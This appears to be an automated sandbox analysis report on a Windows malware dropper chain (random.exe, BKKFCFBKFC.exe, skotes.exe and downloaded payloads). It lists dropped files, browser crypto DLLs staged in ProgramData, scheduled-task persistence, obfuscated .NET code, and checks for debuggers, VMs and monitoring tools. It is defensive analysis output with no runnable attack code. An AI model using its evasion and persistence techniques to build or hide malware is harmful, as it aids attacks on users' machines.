Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Unpacked PE file: 21.2.0ee5eba208.exe.3f0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;icaenpzq:EW;acsraxvu:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;icaenpzq:EW;acsraxvu:EW;.taggant:EW;

.NET source code contains method to dynamically call methods (often used by packers)

Source: 18.2.Cq6Id6x.exe.4d80000.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs

.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

Source: Cq6Id6x[1].exe.17.dr

Static PE information: 0xF456CF88 [Wed Nov 25 22:45:28 2099 UTC]

Source: C:\Users\user\Desktop\random.exe.7.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe0.17.dr	Static PE information: real checksum: 0x44a4e7 should be: 0x30de8e
Source: random[1].exe1.17.dr	Static PE information: real checksum: 0x1f4daa should be: 0x1f2420
Source: BKKFCFBKFC.exe.0.dr	Static PE information: real checksum: 0x2dd770 should be: 0x2da2b6
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x2dd770 should be: 0x2da2b6
Source: 08ec49e72a.exe.17.dr	Static PE information: real checksum: 0x44a4e7 should be: 0x30de8e
Source: Cq6Id6x[1].exe.17.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: random[1].exe.17.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: Cq6Id6x.exe.17.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: 183776ee1b.exe.17.dr	Static PE information: real checksum: 0x0 should be: 0xc2aa1
Source: skotes.exe.14.dr	Static PE information: real checksum: 0x2dd770 should be: 0x2da2b6
Source: 0ee5eba208.exe.17.dr	Static PE information: real checksum: 0x1f4daa should be: 0x1f2420
Source: random.exe.7.exe	Static PE information: real checksum: 0x2cd8d2 should be: 0x2cef30

Source: random.exe.7.exe	Static PE information: section name:
Source: random.exe.7.exe	Static PE information: section name: .idata
Source: random.exe.7.exe	Static PE information: section name: oaygiznl
Source: random.exe.7.exe	Static PE information: section name: aqcomldw
Source: random.exe.7.exe	Static PE information: section name: .taggant
Source: BKKFCFBKFC.exe.0.dr	Static PE information: section name:
Source: BKKFCFBKFC.exe.0.dr	Static PE information: section name: .idata
Source: BKKFCFBKFC.exe.0.dr	Static PE information: section name: osemtlkq
Source: BKKFCFBKFC.exe.0.dr	Static PE information: section name: fqwpihld
Source: BKKFCFBKFC.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: osemtlkq
Source: random[1].exe.0.dr	Static PE information: section name: fqwpihld
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name: osemtlkq
Source: skotes.exe.14.dr	Static PE information: section name: fqwpihld
Source: skotes.exe.14.dr	Static PE information: section name: .taggant
Source: random[1].exe1.17.dr	Static PE information: section name:
Source: random[1].exe1.17.dr	Static PE information: section name: .idata
Source: random[1].exe1.17.dr	Static PE information: section name:
Source: random[1].exe1.17.dr	Static PE information: section name: icaenpzq
Source: random[1].exe1.17.dr	Static PE information: section name: acsraxvu
Source: random[1].exe1.17.dr	Static PE information: section name: .taggant
Source: 0ee5eba208.exe.17.dr	Static PE information: section name:
Source: 0ee5eba208.exe.17.dr	Static PE information: section name: .idata
Source: 0ee5eba208.exe.17.dr	Static PE information: section name:
Source: 0ee5eba208.exe.17.dr	Static PE information: section name: icaenpzq
Source: 0ee5eba208.exe.17.dr	Static PE information: section name: acsraxvu
Source: 0ee5eba208.exe.17.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\random.exe.7.exe	Code function: 0_2_6C50B536 push ecx; ret	0_2_6C50B549
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Code function: 14_2_0003D91C push ecx; ret	14_2_0003D92F
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Code function: 14_2_00031359 push es; ret	14_2_0003135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00D1D91C push ecx; ret	15_2_00D1D92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00D1D91C push ecx; ret	16_2_00D1D92F

Source: BKKFCFBKFC.exe.0.dr	Static PE information: section name: entropy: 7.976947403849739
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.976947403849739
Source: skotes.exe.14.dr	Static PE information: section name: entropy: 7.976947403849739
Source: random[1].exe1.17.dr	Static PE information: section name: entropy: 7.9719040767648846
Source: random[1].exe1.17.dr	Static PE information: section name: icaenpzq entropy: 7.951042373326118
Source: 0ee5eba208.exe.17.dr	Static PE information: section name: entropy: 7.9719040767648846
Source: 0ee5eba208.exe.17.dr	Static PE information: section name: icaenpzq entropy: 7.951042373326118

Source: 18.2.Cq6Id6x.exe.4d80000.3.raw.unpack, KASIU9JAUDHSAHJDUHUDASUDUADAI0DKSFISJFUDHUFHHYU.cs	High entropy of concatenated method names: 'OMFx84NSU3Aj89yeQCX', 'LAX01SNrXLuYFtkUKZE', 'iy9SsMNm29gB450FtMd', 'dBJrEtNGIa6qVBG9EBQ', 'rVg9gbNXhuTUCax3Faw', 'SqGmZ9Nwos9SN5Q7lkZ', 'GSe2iiNdiIejkDmaBS8', 'LqmMVpNxj2A5NG3wBxw', 'gYNBsNNfxAmxgoLk8AY', 'YxEaVbN7rCtxCfwOIGb'
Source: 18.2.Cq6Id6x.exe.4d80000.3.raw.unpack, psm102r62ZNKXfMgLP.cs	High entropy of concatenated method names: 'OPSws322xfEh0', 'MODr39Nq5MiabxlX31k', 'iQoS09NJ2QNv2l3Nldp', 'CJQKDaN3RqE5Z376xIt', 'pj3HvaNg4CuSslIZxHe', 'aGob5JNuDhjrh89tMF7', 'OJrIsVNcKpdpxmnyCdy', 'nvy9T7NQKdlZSSpjdYZ', 'VWEEy8N4s3YgJEZssn2', 'hiS9r5NbbCsErEIxnl5'
Source: 18.2.Cq6Id6x.exe.4d80000.3.raw.unpack, Component1.cs	High entropy of concatenated method names: 'Dispose', 'c2ZnNKXfM', 'KdItahZbaqrPOGXMMIH', 'F6Y0glZWI5sNge0KygR', 'oiohBeZubh6iBGSEkrx', 'eHnLj8Z41B6OG7M1JDy', 'N4gwHqZEFQ33Xh9XSL4', 'UsxTXAZipbL0y4O7ig6', 'lWEAf5ZlGZ9tBNchonB'
Source: 18.2.Cq6Id6x.exe.4d80000.3.raw.unpack, UserControl1.cs	High entropy of concatenated method names: 'Dispose', 'F2igcbrUX', 'XHGgAUZzLmxCg9LHS8J', 'S8TWddN28E6t6e1W5DI', 'nxnywSZIvTRDeZkh3vn', 'Lg0nedZDohNDcCeYfhA', 'MCqqDaNZbmCaRq0a6S3', 'pte1vQNNcjSXyOcA1wm', 'FihZepNhpEadD2XS1mj', 'v4bBBrN14WWJwYVFB1v'
Source: 18.2.Cq6Id6x.exe.4d80000.3.raw.unpack, Hg0i8ysWBkmOQpOTDa.cs	High entropy of concatenated method names: 'BBiryfpB2', 'KI0GlCWQr', 'nZK2JcQAs', 'lkTeKjlkc', 'RYq1Z9XkI', 'XOTf7va1f', 'Dispose', 'YAroKCCXX', 'acfjChBBkMo7PdIk7G', 'MFS1TWc0IT345kpNHi'
Source: 18.2.Cq6Id6x.exe.4d80000.3.raw.unpack, Ca01BQGh9DxiBOJwup.cs	High entropy of concatenated method names: 'Qr5ud0NzY98AOC9xd95', 'G0Y0Wrh2oh1RhmJKSXb', 'X83AawNIkZucWFsrjDy', 'uZXqgXNDChJaWlp6NOY', 'ce4DmfsmSrOT856tDgfrkMb', 'qNiCQfbwXf', 'TgalQGhh96LsT9w8Qmj', 'Fw7QQNh18VntnfmGixE', 'ILFoXIhoc2Bm12rmWG4', 'AZNUskhyETNOaYTT1jk'

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\random.exe.7.exe

File created: C:\Users\user\Documents\BKKFCFBKFC.exe

Jump to dropped file

Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\Users\user\Documents\BKKFCFBKFC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016924001\08ec49e72a.exe	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016923001\183776ee1b.exe	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Cq6Id6x[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\random.exe.7.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\random.exe.7.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Documents\BKKFCFBKFC.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Users\user\Desktop\random.exe.7.exe

Code function: 0_2_6C5355F0 LoadLibraryW,LoadLibraryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_6C5355F0

Source: C:\Users\user\Desktop\random.exe.7.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016920001\Cq6Id6x.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Windows\SysWOW64\svchost.exe

Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Evasive API call chain: GetPEB, DecisionNodes, ExitProcess

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	API/Special instruction interceptor: Address: 7FF8C88ED044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FF8C88ED044

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\random.exe.7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Documents\BKKFCFBKFC.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1016922001\0ee5eba208.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AUTORUNSC.EXE
Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OLLYDBG.EXE
Source: skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000002.3208268392.000000000046C000.00000004.00000001.01000000.00000012.sdmp, 0ee5eba208.exe, 00000015.00000002.3216394961.0000000005310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ORIGINALFILENAMECFF EXPLORER.EXE:
Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: EVERYWHERE.EXEFIDDLER.EXEIDA.EXEIDA64.EXEIMMUY
Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X64DBG.EXE
Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: REGMON.EXE
Source: skotes.exe, 00000011.00000002.3321172986.0000000000ACD000.00000004.00000020.00020000.00000000.sdmp, 0ee5eba208.exe, 00000015.00000002.3208268392.000000000046C000.00000004.00000001.01000000.00000012.sdmp, 0ee5eba208.exe, 00000015.00000002.3216394961.0000000005310000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: INTERNALNAMECFF EXPLORER.EXE
Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PY.EXELORDPE.EXEDNSPY.EXEPETOOLS.EXEAUTORUNSC.EXERESOURCEHACKER.EXEFILEMON.EXEREGMON.EXEWINDANR.EXE9
Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXE
Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FIDDLER.EXE
Source: svchost.exe, 00000016.00000002.3197243740.0000000002F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MP.EXEX64DBG.EXEX32DBG.EXEOLLYDBG.EXEPROCESSHA
